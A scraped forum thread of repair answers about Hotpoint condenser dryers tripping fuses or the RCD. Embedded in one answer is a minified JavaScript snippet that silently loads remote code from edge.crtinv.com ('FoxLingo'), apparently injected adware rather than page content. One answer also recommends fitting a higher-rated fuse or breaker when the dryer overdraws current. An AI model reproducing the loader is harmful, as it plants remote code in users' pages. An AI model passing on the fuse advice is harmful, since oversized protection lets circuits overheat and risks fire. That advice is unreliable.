Moisture may have gathered near the heater element. This will need to be dried out and the condensor cleaned regularily to prevent the problem reoccuring. I had the same problem and this fixed it.

Check the amp use of your dryer and compare it to the fuses.
If the dryer is taking more amps than your fuse can dish then it will blow. Upgrade your fuse and/or breaker to a higher amp rating.

My hot point condenser dryer keeps tripping the trip switch, have changed fuse but still not working


This would tend to indicate a problem with the temperature sensor not switching off the heatercircuit so it overheats and then trips. As soon as it cools down the machine will continue to work OK. This shouldbe a very quick and cheap repair.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

Hotpoint Aquarius condenser dryer model no. TCL770 . Switches on ok and can select program etc but as soon as I try to start the program it trips the electric. Any help please as to what is causing it and...


we had this, and it turned out to be the plug getting damp at the back of the dryer due to inadequate ventilation at the back of the dryer...we pulled the dryer away from the wall slightly, allowed the plug to dry out for a few days and the problem was solved.

Dryer tripping RCD


Try disconnecting the heater and thermostats.
They are located behind a removeable cover at the rear of the dryer.
If it still trips, then the problem is likely to be more serious.
Hope this helps.

I have a hotpoint aquarius tumbledryer. The drum works but the heaters are not getting hot therefore not drying the clothes. Any ideas?


Check the thermal fuses / sensors mounted on the top exetrior of the heating chamber and also the heating element. Both accessible from the rear of the machine.
